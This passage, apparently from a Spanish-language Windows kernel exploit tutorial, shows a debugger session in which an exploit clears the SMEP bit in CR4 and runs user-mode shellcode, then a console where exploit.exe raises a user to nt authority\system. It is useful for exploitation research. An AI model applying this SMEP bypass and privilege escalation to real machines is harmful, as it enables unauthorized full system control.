fffff806`3a7a06a7 0f22e1          mov     cr4,rcx  

Al ejecutar mov modifica el valor de cr4 cambiando el bit 20 a 0 y deshabilitando la protección SMEP asi pudiendo ejecutar asi el shellcode en el modo de usuario

0: kd> r cr4
cr4=0000000000350ef8

0: kd> p
00000178`c9220000 65488b142588010000 mov   rdx,qword ptr gs:[188h]

0: kd> r cr4
cr4=0000000000250ef8

0: kd> g

Si simplemente continuamos la ejecución podemos ver que el exploit funciona

C:\Users\user\Desktop> whoami
windows\user

C:\Users\user\Desktop> exploit.exe
Microsoft Windows [Versión 10.0.19045.4651]
(c) Microsoft Corporation. Todos los derechos reservados.  

C:\Users\user\Desktop> whoami
nt authority\system

C:\Users\user\Desktop>